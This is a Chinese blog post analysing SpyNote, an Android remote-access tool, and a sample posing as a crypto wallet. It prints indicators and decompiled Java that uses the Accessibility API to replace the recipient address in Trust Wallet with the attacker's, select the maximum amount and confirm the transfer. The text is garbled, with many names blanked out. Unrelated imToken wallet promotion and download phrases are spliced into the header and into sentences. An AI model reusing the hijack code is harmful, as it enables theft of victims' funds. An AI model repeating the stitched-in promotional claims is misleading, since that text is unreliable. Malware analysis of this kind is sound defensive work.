安卓远控威胁探索:SpyNote初步接触到伪装加密钱包样本分析

admin 2024-11-18 51次阅读

imToken 是一款全球领先的区块链数字资产管理工具[ZB],帮助你安全管理BTC, ETH, ATOM, EOS, TRX, CKB, BCH, LTC, DOT, KSM, FIL, XTZ 资产,同时支持去中心化币币兑换功能 ...

前言

im钱包地址官网下载

本文将对一款由(又名“”)远控工具生成的伪装成加密钱包的样本进行浅析。随着开源软件的广泛应用,相关的远控工具也在某些开源网站上被公开。目前安卓远控软件数量众多,且不断被利用,变种数量也随时间增加。截止2024年,相关安全研究公司公开的报告统计了各类远控恶意软件激增,特别是在金融行业遭受攻击比以往更多。

钱包下载官网

一、热门远控

首先我们需要对变种简单了解,变种恶意软件的生成和传播通常是攻击者为了绕过检测机制、增强功能、针对不同目标或环境、以及利用新发现的漏洞等情况而产生的,就像-你做过爆改,改通信流量或者某些功能等。很多情况不单单只是了解相关的本体释放的恶意APK,更多的是在本体释放后的APK变动或者功能是否覆盖更多存在威胁的功能?

Agent Smith

二、 接触

最早在2016年年中在恶意软件论坛上被曝光。它与 和 类似,具备多种远程控制和监控功能。 可以进行自我更新、下载和安装新应用程序、查看短信、获取设备的GPS位置、录音和监听设备的麦克风、访问摄像头、监听和拨打电话、获取联系人列表以及访问设备的技术详细信息(如设备IMEI号、WiFi MAC地址和运营商信息)。

的版本进一步增强了其威胁性,允许攻击者构建自定义远控版本,并配置其命令和控制(C2)服务器进行通信。这种灵活性使得 对网络犯罪分子非常具有吸引力,尽管到目前为止,它还没有广泛出现在主动攻击中。然而,由于 的构建工具免费的,所以在免费的条件下,不断的有变种出现。

这款在金融、水利、电力行业攻击比较常见,这里我个人并没有去查阅更多更早被利用的威胁资料,因为时间线上是比较难找,根据公开报告早期有关攻击样本被捕获:

1、未知团体 2017年1月 - 假冒的 应用程序

1718602316_666fca4c5e1654332ebba.png!small?1718602319541

2、APT组织 - 组织 -

1718561267_666f29f315eff793d8717.png!small?1718561267262

1718561256_666f29e8387840ffe15c1.png!small?1718561256727

在 章节中,已经披露相关远控软件释放的恶意安卓程序,关于是什么样的一个攻击手段暂时没有。

SpyNote android malware
213.227.140.35, the IP address of defender-update\.com, has also served as the command and control server for SpyNote, an off-the-shelf mobile rat.
client.apk
MD5 2820c84cf9f34fe999da0bcedea6915d
SHA-1 0f3ae5c85151686b836fd95e2d680201679101e9
SHA-256 9727b56953bb6622cc1d3a039e2ebf6ef260dd76c8dcc11f4a1320fbf294621d
102.apk
MD5 27aaf0e49ebc240933ea5d1a04747977
SHA-1 c7e7ad6d763a41b8d3d7d9301acbe53674041d75
SHA-256 
d7bebfd87066e34d2f68ddf39d5637afa978df72bceb8dc690ed1553cdfffa43

一、已捕获在用 的组织(团体)

(APT34, Helix , )

Gypsy(IRN2, ATK40, G0049)

Hazel (, TA452)

二、 功能

在这篇文章当中介绍过 V5.0图形化工具远程管理手机教程(图文教程+演示视频)感兴趣的可以自己研究和复现整个过程,这里就不一一演示了。

1718605847_666fd817e905866518e00.png!small?1718605848385

【界面】

1718605877_666fd835b70151acf24aa.png!small?1718605878096

【VIEW功能:连接日志、黑名单、监视器、服务状态】

1718605984_666fd8a0f151cd26d97a3.png!small?1718605985393

【TOOLS功能:、文件夹、命令、防火墙、测试连接、受害者设置】

1718606410_666fda4a132760e86464b.png!small?1718606411270

1718606557_666fdaddb2795b6dc41c0.png!small?1718606558551

【 - 这里有相关的视频介绍到相关功能】

目前截止在国外已经有相关工具被爆改后变成了商业化,两个在价格也是有区别,不同的价格,恶意样本的功能权限就不一样!

1718602771_666fcc13d9f63dfef77c5.png!small?1718602772885

在此页面当中,该网站还介绍了该恶意样本可以获取:通话记录、屏幕监控、联系方式、GPS定位、终端、短信、文件管理、相机管理,下面至少我们见证了商业化的远控能力也是不差的!

1718603539_666fcf1387ab5635086e6.png!small?1718603540052

1718603550_666fcf1eb8852cc16d425.png!small?1718603551219

1718603570_666fcf3212046b5a8b5ca.png!small?1718603570580

三、 加密钱包样本分析

在发现伪装加密钱包后,通过正常安装手段,对样本进行安装并且运行。

1718608462_666fe24eb99e3e86540e8.png!small?1718608463159

有关于加密钱包APP的应用权限列表,如果按照一个正常APP的话,安装过程会有相关APP会提示说明需要赋予什么样的功能权限,这个较常见一些。

1718608490_666fe26af225e4e2ce8d1.png!small?1718608491800

安装成功后,打开伪装成钱包的恶意APP后,界面使用了一个无障碍服务要求转到下载服务,并需要你打开一些特定权限。

1718608769_666fe381625efb063013d.png!small?1718608769866

关于此恶意样本滥用 API 无障碍服务imToken钱包app下载地址,应用程序在启用无障碍服务后,通过使用中的I 来请求权限的过程。具体来说,该代码展示了如何引用请求权限,并通过来实现权限请求。

这是请求权限的主要方法。在下面所有搜索出的结果中找到调用此方法的实例:

1718611732_666fef14a26f716017a97.png!small?1718611734119

该类继承自,并在中实现了一系列回调方法,允许与交互。以下是与权限请求相关的方法:

1718612011_666ff02b60f4171d00112.png!small?1718612011989

1718613792_666ff7202f9e579322507.png!small?1718613792675

1718613822_666ff73e2fb895b5b8dee.png!small?1718613822753

在整个过程中权限方面是已经打开,随后返回是跳转官方,这部分可能是一个正常引用。这部分还是存在一些疑问,如果使用国外网络打开这个程序不知道会不会有其它结果,这个没有进行测试,回到源代码中

1718614211_666ff8c3b5f61d1c54999.png!small?1718614212188

如果按照整个流程运行,是没有问题话,在源码中发现了覆盖层,以下代码可识别合法加密钱包的使用并在其上显示覆盖层。

1718616452_667001840f36423500a29.png!small?1718616452977

覆盖代码,注入的覆盖由一个 组成,其 HTML 以 进行硬编码。

1718617029_667003c5601a1fb791fe0.png!small?1718617030457

通过解码之后是这样的

1718616232_667000a8664a9db8817f4.png!small?1718616233500

页面还带有网络地址!通常如果是覆盖隐藏方式,很有可能会利用覆盖层imToken下载,盗走受害者的资产。可以看到微页面中的两个地址的,一个是发送地址和一个目标地址。

1718615706_666ffe9a0d1727137d478.png!small?1718615706907

盗窃过程

恶意代码利用辅助功能API自动填充表单,并将指定数量的加密货币转移到攻击者的钱包地址上。具体而言,代码执行以下任务:

1. 读取并记录目标钱包地址(字段 )。

2. 读取并记录金额(字段 )。

3. 修改目标地址,替换为攻击者的加密货币钱包地址(.)。该地址是恶意软件与之通信的远程服务器发送的。

4. 点击“最大”按钮()。该选项请求发送全部金额,而不是部分金额。

5. 点击“下一步”/“继续”按钮。

这些步骤允许恶意代码在用户不知情的情况下执行加密货币转账,将资金直接转移到攻击者控制的账户中。

1718617354_6670050a3bd9f2c04530a.png!small?1718617355422

上图利用了的辅助功能API来自动化填写表单并进行加密货币转账,以下是具体的步骤:

一流程、读取目标钱包地址:

String str = "com.wallet.crypto.trustapp:id/input_value";
List list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(str);
if (list.size() == 1) {
   Trust.access$102(list.get(0).getText().toString());
}

这段代码首先尝试从当前活动窗口中获取指定视图ID(com.../)对应的辅助功能节点信息。如果成功找到且列表大小为1,则将该节点的文本内容传递给Trust类的$102方法。这可能是目标钱包地址的字段。

二流程、读取金额:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/input_general_amount");
if (list.size() == 1) {
   Trust.access$202(list.get(0).getText().toString());
}

类似地,代码尝试获取另一个视图ID(com.../)对应的辅助功能节点信息,并将其文本内容传递给Trust类的$202方法。这可能是转账金额的字段。

三流程、修改目标地址为攻击者地址:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(str);
if (list.size() == 1) {
   Bundle uBundle = new Bundle();
   uBundle.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", initializeService.usdtadress);
   list.get(0).performAction(0x200000, uBundle);
}

当前代码再次使用目标钱包地址的视图ID找到节点信息,然后将其文本内容替换为存储在.中的恶意地址。这是通过向节点执操作来实现的。

四流程 - 点击“最大”按钮:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/action_max");
int i = 16;
if (list.size() == 1) {
   list.get(0).performAction(i);
}

代码尝试找到“最大”按钮(com.../)的节点信息,并模拟点击该按钮以选择发送全部可用金额(最大金额)。

五流程、点击“下一步”/“继续”按钮:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/action_continue");
if (list.size() == 1) {
   list.get(0).performAction(i);
}

最后,代码尝试找到“下一步”或“继续”按钮(com.../)的节点信息,并模拟点击该按钮,以确认或继续转账操作。

上面的那些操作让恶意样本在足够有权限的情况下,能够在用户无感的情况下,自动完成加密货币转账流程,将资金转移到攻击者控制的地址上。

目前这个恶意样本的核心就是盗取受害者的资产,其它的话就是远控上的一些操作。

1718622990_66701b0eca1e4f4a784af.png!small?1718622992604

1718623209_66701be9c01a9b65758bb.png!small?1718623211176

样本SHA-256:

caac4681389b0af7998ba8fd2062d18050a0e5e8cb4c8d0006a1b3a921ee52c8

1718607619_666fdf03a61691c61895a.png!small?1718607621017



发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。